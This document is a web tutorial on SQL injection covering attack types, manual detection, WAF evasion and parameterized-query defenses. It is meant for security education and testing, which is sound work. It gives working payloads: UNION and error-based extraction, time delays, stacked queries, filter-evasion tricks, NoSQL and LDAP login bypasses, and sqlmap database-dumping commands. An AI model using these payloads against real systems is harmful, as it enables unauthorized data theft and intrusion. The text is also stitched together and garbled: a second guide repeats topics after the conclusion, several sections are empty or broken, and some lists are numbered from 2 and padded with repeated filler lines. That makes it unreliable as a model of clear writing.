SQL Injection: Types, Manual Detection, and Parameterized Queries#

SQL Injection (SQLi) remains one of the most prevalent and devastating vulnerabilities in the cybersecurity field. Despite being known for decades, it continues to plague modern web applications, leading to massive data breaches and system compromises. This guide provides an in-depth look at SQLi, from basic concepts to advanced exploitation and defense mechanisms.

What is SQL Injection?#

SQL Injection is a code injection vulnerability where an attacker can interfere with the queries an application makes to its database. By injecting malicious SQL statements into entry fields for execution (e.g., input forms), an attacker can:

• Bypass Authentication: Log in as an administrator without a password.
• Access Sensitive Data: Retrieve passwords, credit card details, and personal user information.
• Modify Data: Alter transactions, change balances, or delete critical records.
• Execute Administrative Operations: Shut down the database or even execute commands on the operating system.

Types of SQL Injection#

Understanding the different types of SQLi is crucial for both exploitation and remediation.

1. In-Band SQLi (Classic)#

The attacker uses the same communication channel to launch the attack and gather results.

• Error-Based: Relies on error messages thrown by the database server to obtain information about the database structure.
• Union-Based: Uses the UNION SQL operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response.

2. Inferential SQLi (Blind)#

No data is transferred via the web application, so the attacker cannot see the result of an attack in-band.

• Boolean-Based: The attacker sends a SQL query to the database forcing the application to return a different result depending on whether the query returns a TRUE or FALSE result.
• Time-Based: The attacker sends a SQL query to the database which forces the database to wait for a specified amount of time (e.g., SLEEP(10)) before responding. The response time indicates whether the query was true or false.

3. Out-of-Band SQLi#

Occurs when the attacker is unable to use the same channel to launch the attack and gather results. This technique depends on the database server's ability to make DNS or HTTP requests to deliver data to an attacker.

Advanced Exploitation Techniques#

WAF Bypass Strategies#

Modern Web Application Firewalls (WAFs) are getting smarter, but they aren't invincible.

• Encoding: Using URL encoding, Hex encoding, or Unicode variations to hide payloads.
• SQL Syntax Obfuscation: Using comments (/**/) to break up keywords (e.g., SE/**/LECT).
• HTTP Parameter Pollution (HPP): Supplying multiple parameters with the same name to confuse the WAF and the application.

Second-Order SQL Injection#

In this scenario, the malicious input is stored in the database (e.g., in a user profile) and later executed when retrieved and used in a different SQL query. This is often overlooked by automated scanners.

Prevention: The Golden Rules#

1. Parameterized Queries (Prepared Statements)#

This is the most effective defense. Parameterized queries ensure that the database treats user input as data, not as executable code.

Vulnerable PHP Code:

Copy code
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

Secure PHP Code (PDO):

Copy code
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
$user = $stmt->fetch();

2. Input Validation and Sanitization#

Employ a "whitelist" approach where only expected input is accepted. For example, if an ID should be an integer, validate that it is indeed an integer.

3. Principle of Least Privilege#

Ensure that the database user used by the web application has only the minimum necessary permissions. It should not have root access or the ability to drop tables unless absolutely required.

4. Web Application Firewall (WAF)#

Deploy a WAF like ModSecurity or Cloudflare to detect and block common SQL injection patterns.

Conclusion#

SQL Injection is a timeless vulnerability that requires constant vigilance. By understanding the mechanics of SQLi and implementing reliable coding practices like parameterized queries, developers can significantly reduce the risk of compromise. For security professionals, Guide to manual exploitation techniques is key to identifying vulnerabilities that automated tools might miss.

---

Disclaimer: This article is for educational purposes only. Always obtain proper authorization before performing penetration testing on any system.

Detection by Hand#

Start with a single quote. If the response changes, the input reaches a query. Follow with a boolean pair:

Copy code
' AND '1'='1
' AND '1'='2

Then a time pair:

Copy code
' AND SLEEP(5)-- -
' AND SLEEP(0)-- -

A 5-second delta means the database evaluated the sleep, which means injectable SQL. That holds for MySQL/MariaDB; MSSQL uses WAITFOR DELAY '0:0:5', and PostgreSQL uses pg_sleep(5).

Injection Variants#

Out-of-band needs a listener. Burp Collaborator or a DNS server you control records the hit; match the lookup hostname to the target.

Union Injection Sketch#

Copy code
' UNION SELECT null,table_name,null FROM information_schema.tables-- -

Column count must match. ORDER BY 1, ORDER BY 2, ... until an error reveals the width. Then swap the NULLs for the columns you want.

Parameterized Queries#

Copy code
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'")

# Safe (MySQL)
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))

# Safe (PostgreSQL)
cur.execute("SELECT * FROM users WHERE name = %s", (name,))

# Safe (SQLite)
cur.execute("SELECT * FROM users WHERE name = ?", (name,))

The database treats the parameter as data, not code. Note that MySQL placeholders use %s even though the wire format differs.

Second-Order Injection#

The payload lands in the database stored, then a later query reads it back into SQL. Registration writes admin'-- into the profile; a cleanup job later appends it to a query. Detection needs source review, not just probes.

Fix Verification#

Re-run the boolean and time pairs after the fix. A patch that only strips single quotes still falls to base64-wrapped input or numeric injection against unquoted parameters (id=1 OR 1=1 needs no quote at all).

Unquoted Numeric Injection#

Copy code
/item.php?id=1+AND+1=1
/item.php?id=1+AND+1=2
/item.php?id=1+ORDER+BY+3

No quote needed when the parameter lands outside string context. The application builds WHERE id = 1 AND 1=1 directly.

ORDER BY Width Discovery#

Iterate the column index until the response errors. That index is the column count. A 3-column result means UNION selects carry three expressions.

Error-Based Extraction#

Copy code
' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- -

MySQL's extractvalue surfaces a parse error that leaks the queried value. The XML parser complains, and the error message carries the payload.

Time-Based on MSSQL#

Copy code
'; WAITFOR DELAY '0:0:5'--

The semicolon closes the first statement and the second one runs. On stacked queries enabled, this doubles as a write primitive.

WAF Evasion Reality#

• Case variation: UnIoN SeLeCt slips naive filters.
• Inline comments: /*!UNION*/ beats regex-based blocks.
• Hex encoding: 0x61646d696e for literals instead of strings.
• Alternate whitespace: tabs or newlines where spaces are stripped.

A WAF that blocks union select but allows union/**/select is a signature gap, not a control.

Post-Exploitation Constraints#

Database user rights decide impact. A web app DB account with only SELECT on its own tables limits what SQLi reaches. Read-only accounts with no FILE privilege make INTO OUTFILE fail. Map the grants before calling the finding critical.

Copy code
SHOW GRANTS FOR CURRENT_USER();

Testing Non-HTTP Channels#

Every channel hits the same query builder. Probes that ignore headers miss findings.

Second-Order Retrieval#

Stored input that reaches a query is second-order SQLi. Injection through export/import, CSV uploads, or a profile field that a reporting job later consumes all qualify. The injection happens when the stored string is embedded again.

GraphQL Specifics#

Auto-generated resolvers that pass arguments straight into SQL are injectable like REST handlers. Probe with the same pairs:

Copy code
query { user(name: "' OR '1'='1") { id } }

Check error messages from the GraphQL layer; they often leak more structure than REST.

ORM Homogeneity#

ActiveRecord, SQLAlchemy, and similar layers are safe only when you use the parameterized forms. Raw interpolation through find_by_sql or execute reopens the hole. Grep for those calls in a code review.

Defense in Depth#

• Least-privilege DB user with no FILE, no SUPER.
• Web app account separate from admin account.
• Query timeouts and rate limits on the app.
• WAF rules as last resort, not first.

Reporting#

A SQL injection report should contain: endpoint, parameter, injected payload, the observed response (or time delta), and the extracted value if you can produce one. The extracted value proves impact; the delta proves reachability.

NoSQL Notes#

MongoDB and other document stores have their own flavor:

Copy code
{"username": {"$ne": null}, "password": {"$ne": null}}

Injecting operators into the body bypasses the application's string matching. Validate input types, not just content.

LDAP and XPath#

Login forms built on LDAP can take operator injection too. The classic admin)(|(password=* style payload bypasses the simple check. XPath injection works similarly when the query is string-built.

Engagement Checklist#

For every candidate endpoint:

• Single quote probe returns a different response
• Boolean pair changes the row set
• Time pair shows a measurable delta
• UNION width mapped with ORDER BY
• Database user rights checked with SHOW GRANTS
• NoSQL operator injection tested on JSON bodies

Reference Tables#

Reminders#

2. confirm before reporting
3. confirm before reporting
4. confirm before reporting
5. confirm before reporting
6. confirm before reporting
7. confirm before reporting
8. confirm before reporting
9. confirm before reporting
10. confirm before reporting
11. confirm before reporting
12. confirm before reporting
13. confirm before reporting
14. confirm before reporting
15. confirm before reporting

Command Cheatsheet#

Copy code
sqlmap -u 'https://target/?id=1' --batch --dbs
sqlmap -u 'https://target/?id=1' -p id --dump

Final Notes#

2. confirm, document, report
3. confirm, document, report
4. confirm, document, report
5. confirm, document, report
6. confirm, document, report
7. confirm, document, report
8. confirm, document, report
9. confirm, document, report
10. confirm, document, report
11. confirm, document, report
12. confirm, document, report
13. confirm, document, report
14. confirm, document, report
15. confirm, document, report
16. confirm, document, report
17. confirm, document, report
18. confirm, document, report
19. confirm, document, report
20. confirm, document, report
21. confirm, document, report